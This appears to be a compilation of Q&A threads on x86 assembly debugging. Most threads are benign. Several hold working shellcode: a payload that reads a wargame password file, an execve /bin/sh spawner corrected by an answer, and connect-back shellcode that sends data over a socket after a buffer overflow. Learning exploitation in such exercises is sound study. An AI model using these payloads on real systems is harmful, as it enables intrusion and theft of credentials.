I'm trying to write a simple shellcode to read the content of a file.
Here is my assembly:
xor eax, eax
xor ecx, ecx
xor edx, edx
push 0x73 ; /home/users/level05/.pass
push 0x7361702e ;
push 0x2f35306c
push 0x6576656c
push 0x2f737265
push 0x73752f65
push 0x6d6f682f
mov ebx, esp
mov al, 0x05
int 0x80 ; open
mov ebx, eax
xor eax, eax
xor edx, edx
mov dl, 0x10
mov ecx, esp
mov al, 0x03
int 0x80 ; read
mov ecx, eax
xor ebx, ebx
mov bl, 0x01
mov al, 0x04
int 0x80 ; write
`
So if I transform it into shellcode, and simply run it, I have a segmentation fault.
I verified my code and it seems good. The file to read exists too, and I have the rights on it.
I compile it to be ran on x86 linux.
Im compiling the program with : this main:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"MYSHELLCODE";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And I run : gcc c-shell.c -o shell -fno-stack-protector -z execstack -m32
The shellcode : \x31\xc0\x31\xc9\x31\xd2\x6a\x73\x68\x2e\x70\x61\x73\x68\x6c\x30\x35\x2f\x68\x6c\x65\x76\x65\x68\x65\x72\x73\x2f\x68\x65\x2f\x75\x73\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x05\xcd\x80\x89\xc3\x31\xc0\x31\xd2\xb2\x10\x89\xe1\xb0\x03\xcd\x80\x89\xc1\x31\xdb\xb3\x01\xb0\x04\xcd\x80
68 byte
`
Related
C code
#include <stdio.h>
int fibonacci(int);
int main()
{
int x = fibonacci(3);
printf("Fibonacci is : %d",x);
return 0;
}
Assembly
section .text
global fibonacci
fibonacci:
push ebp;
mov ebp, esp;
; initialize
mov dword [prev], 0x00000000;
mov dword [cur], 0x00000001;
mov byte [it], 0x01;
mov eax, dword [ebp + 8]; // n = 3
mov byte [n], al;
getfib:
xor edx,edx;
mov dl, byte [n];
cmp byte [it] , dl;
jg loopend;
mov eax,dword [prev];
add eax, dword [cur];
mov ebx, dword [cur];
mov dword [prev], ebx;
mov dword [cur] , eax;
inc byte [it];
jmp getfib;
loopend:
mov eax, dword [cur];
pop ebp;
ret;
section .bss
it resb 1
prev resd 1
cur resd 1
n resb 1
I was trying to run this assembly function in C code and on debugging , i saw that value in variable x in C code is right but there is some error coming when i use the printf function
Need Help on it
Command to compile:
nasm -f elf32 asmcode.asm -o a.o
gcc -ggdb -no-pie -m32 a.o ccode.c -o a.out
Click Below Pictures if they seem blurred
Below is debug before printf execute
Below is after printf execute
Your code does not preserve the ebx register which is a callee-preserved register. The main function apparently tries to do some rip-relative addressing to obtain the address of the format string for printf using ebx as a base register. This fails because your code overwrote ebx.
To fix this issue, make sure to save all callee-saved registers before you use them and then restore their value on return. For example, you can do
fibonacci:
push ebp
mov ebp, esp
push ebx ; <---
...
pop ebx ; <---
pop ebp
ret
I'm learning x86 assembly and loops are very confusing to me.
For the prompt: "Write a program that uses the variables below and MOV instructions to copy the value from bigEndian to littleEndian, reversing the BYTE order.You will need to use PTR or LABLE to access just a BYTE of the
DWORD element, and use LOOP (set ECX to 4) and ESI and EDI for indirect
addressing."
My code displays 76993356
Should I be using PTR with bigEndian instead of just looping like this?
INCLUDE Irvine32.inc
.data
; declare variables here
bigEndian DWORD 12345678h
littleEndian DWORD 0
.code
main proc
mov ECX, SIZEOF bigEndian
mov EDI, OFFSET littleEndian
mov ESI, OFFSET bigEndian
TOP:
mov al, [ESI]
mov [EDI], al
inc ESI
dec EDI
loop TOP
mov edx, littleEndian
call WriteHex
exit
main ENDP
END main
I keep getting segmentation faults on this could anybody help me on this one, I am kind of new to ASM
global _start
section .text
_start:
push dword 0x0068732F ; Push /sh
push dword 0x6E69622F ; Push /bin
mov eax, esp ; Store Pointer To /bin/sh In EAX
push dword 0x0000632D ; Push -c
mov ebx, esp ; Store Pointer To -c In EBX
push dword 0x00000068 ; Push h
push dword 0x7361622F ; Push /bas
push dword 0x6E69622F ; Push /bin
mov ecx, esp ; Store Pointer To /bin/bash In ECX
push dword 0x0 ; NULL
push ecx ; Push /bin/bash Pointer
push ebx ; Push -c Pointer
push eax ; Push /bin/sh Pointer
mov ebx, eax ; Move /bin/sh Pointer To EAX
mov ecx, esp ; Store /bin/sh -c /bin/bash Pointer in ECX
xor edx, edx ; Store 0 In EDX
mov al, 0xb ; sys_execve
int 0x80 ; system call
I am trying to replicate the following
char* Args[] = { "/bin/sh", "-c", "/bin/bash" };
execve("/bin/sh", Args, NULL)
Thanks in advance
As pointed out in the comments the arguments need to be NULL terminated.
Also mov al, 0xb only sets the lower 8 bits of the (32 bit) eax register.
Earlier on you also loaded an address from the stack into eax mov eax, esp and since the stack grows down, the value stored in eax will be much closer to 0xFFFFFFFF that it is to 0. When you later mov al, 0xb you only substitute the last F and eax needs to be exactly 0xb.
Thus you need to either move the value to whole eax register or make sure its upper 24 bits are zeroed beforehand - for example by doing xor eax, eax.
global _start
section .text
_start:
push dword 0x0068732F ; Push /sh
push dword 0x6E69622F ; Push /bin
mov eax, esp ; Store Pointer To /bin/sh In EAX
push dword 0x0000632D ; Push -c
mov ebx, esp ; Store Pointer To -c In EBX
push dword 0x00000068 ; Push h
push dword 0x7361622F ; Push /bas
push dword 0x6E69622F ; Push /bin
mov ecx, esp ; Store Pointer To /bin/bash In ECX
push 0 ; <----- NULL args terminator
push ecx ; Push /bin/bash Pointer
push ebx ; Push -c Pointer
push eax ; Push /bin/sh Pointer
mov ebx, eax ; Move /bin/sh Pointer To EAX
mov ecx, esp ; Store /bin/sh -c /bin/bash Pointer in ECX
xor edx, edx ; Store 0 In EDX
;xor eax, eax ; <----- either xor eax, eax or mov into eax
mov eax, 11 ; sys_execve
int 0x80 ; system call
I am trying to write a little function to print either a null-terminated or fixed-length string in a specific memory location. Here is my code:
vbrstart:
xor eax, eax
mov sp, 0x7a00
mov bp, 0x6000
mov ss, ax
mov ds, ax
mov es, ax
xor ebx, ebx
xor ecx, ecx
push strict dword initializing
push strict word 0x0000
call printmsg
jmp end
;push strict dword memloc
;push strict word length
;call printmsg
printmsg:
pop strict dword [store_ret]
mov [store_cx], cx
mov [store_esi], esi
pop cx
pop esi
push eax
push ebx
mov ah, 0x0E
mov bx, 0x0007
cmp cx, 0x0000
je printnullterm
printgivenlen:
lodsb
cmp cx, 0x0000
je printdone
int 10h
dec cx
jmp printgivenlen
printnullterm:
lodsb
cmp al, 0x00
je printdone
int 10h
jmp printnullterm
printdone:
pop ebx
pop eax
mov esi, [store_esi]
mov cx, [store_cx]
push strict dword [store_ret]
ret
printdata:
store_cx dw 0
store_esi dd 0
store_ret dd 0
end:
hlt
jmp end
initializing db 10,13,'Initializing...',0
When tested, it prints indefinately, and doesn't stop at the null byte. Where did I make a mistake?
I see 2 problems with your code:
You've written a bootloader. Such a program runs in the 16-bit real address mode. This implies that the return address from a call will be a word and not a dword like your code is expecting.
printmsg:
pop word [store_ret]
You setup the stack in a risky manner. You need to first change the SS register and immediately after that the SP register.
xor ax, ax
mov ss, ax <<< Keep these together
mov sp, 0x7a00 <<< and in this order!
Since this is 16-bit code there's no need to push/pop the address as a dword.
push word initializing
...
pop si
Your stack is not properly aligned with all that pushes and pops. Check parameters passing and it's usage in the routine.
To start, here's a hint:
vbrstart:
xor eax, eax
mov sp, 0x7a00
mov bp, 0x6000
mov ss, ax
mov ds, ax
mov es, ax
xor ebx, ebx
xor ecx, ecx
push strict dword initializing
push strict word 0x0000
call printmsg ; near call, only 16 bits ret addr stored
jmp end
;push strict dword memloc
;push strict word length
;call printmsg
printmsg:
pop strict dword [store_ret] ; pop dword (ret address + 16 bits- 1st argument)
mov [store_cx], cx ; store_cx = 0
mov [store_esi], esi ; store_esi = ??
pop cx ; cx = initializing
. . .
Im writing a connect-back shellcode that could connect back to my machine(in my case, use loop address), and send the current user id of the program where buffer overflow occurs. But my shellcode just sends back four bytes of zeros, can any one point out where i am go wrong in the send system call?
BITS 32
; s = socket(2, 1, 0)
push BYTE 0x66
pop eax
cdq
xor ebx, ebx
inc ebx
push edx
push BYTE 0x1
push BYTE 0x2
mov ecx, esp
int 0x80
xchg esi, eax
; connect(s, [2, 31337, <IP address>], 16)
push BYTE 0x66
pop eax
inc ebx
push DWORD 0x01BBBB7f
mov WORD [esp+1], dx
push WORD 0x697a
push WORD bx
mov ecx, esp
push BYTE 16
push ecx
push esi
mov ecx, esp
inc ebx
int 0x80
;geteuid
push BYTE 0x31
pop eax
int 0x80
;send(sockfd,buffer,strlen(buffer),0)
push eax
mov ecx, esp
push edx
push BYTE 0x4
push ecx
push esi
mov ecx, esp
push BYTE 0x66
pop eax
push BYTE 0x9
pop ebx
int 0x80